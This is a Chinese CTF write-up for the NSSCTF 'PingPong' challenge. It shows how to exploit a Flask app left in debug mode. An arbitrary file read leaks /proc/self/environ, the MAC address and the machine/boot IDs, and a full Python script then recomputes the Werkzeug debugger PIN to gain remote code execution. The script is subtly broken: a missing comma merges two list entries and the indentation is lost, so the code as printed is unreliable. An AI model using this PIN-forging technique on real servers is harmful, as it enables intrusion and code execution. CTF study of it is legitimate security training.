知识源于周赛的一道题目–NSSCTF(PingPong)

进入题目首先知道两个信息–框架是flask–首先考虑是不是存在ssti第二个是题目描述中的信息(开启了debug模式)
其实之前并没有接触过这个东西,但是还是通过其他方式非预期做出来了。(也有出题人的原因hhh
flask在开启debug模式下,可以通过输入pin码进行代码调试模式,也就是console控制台。进入控制台之后再进行命令执行
但是这个东西怎么算呢?需要获得几个东西
- 1. username,用户名
- 2. modname,默认值为flask.app
- 3. appname,默认值为Flask
- 4. moddir,flask库下app.py的绝对路径
- 5. uuidnode,当前网络的mac地址的十进制数
- 6. machine_id,docker机器id
很多都是默认的,重点需要关注三个东西
- moddir:flask所在的路径,通过查看debug报错信息获得
- uuidnode:通过uuid.getnode()读取,通过文件/sys/class/net/eth0/address得到16进制结果,转化为10进制进行计算
- machine_id:linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_id,docker靶机则读取/proc/self/cgroup
下面是完整的解题过程
观察发现题目存在任意文件读取漏洞:

通过post参数中的nss进行读取
提示二是去看hint

继续跟进:

说明不能直接访问读取,那就用文件读取漏洞进行查看

好的我们现在知道第一个有用信息就是,最后的flag位置位于环境变量中
那么首先尝试能不能读取到环境变量的内容–(/proc/self/environ是Linux下中的一个文件,这个文件里保存了系统的一些变量

第二个方法就是通过越权找到之前说的三个东西用脚本计算pin值
- moddir:报错找文件位置

- uuid:
- 网卡的mac地址的十进制,可以通过代码uuid.getnode()获得,也可以通过读取/sys/class/net/eth0/address获得,一般获取的是一串十六进制数,将其中的横杠去掉然后转十进制就行。

十六进制转十进制

- 第二个machine-id:/proc/self/cgroup

- machine-id:/proc/sys/kernel/random/boot_id

先把machine-id和boot_id拼接起来填进去进行计算:

脚本:
import hashlib
from itertools import chain
probably_public_bits = [
'root' # /etc/passwd
'flask.app', # 默认值
'Flask', # 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]
private_bits = [
'2485376912237', # /sys/class/net/eth0/address 十进制
'e2a9f272-7959-44cc-86ce-6cfd758857a79cc8dd5d2f15676d3d6cd3ded677d17ebb07421391e4ffe0d22b5daab56494fa'
# 字符串合并:1./etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id,有boot-id那就拼接boot-id 2. /proc/self/cgroup
]
# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)



然后进行rce
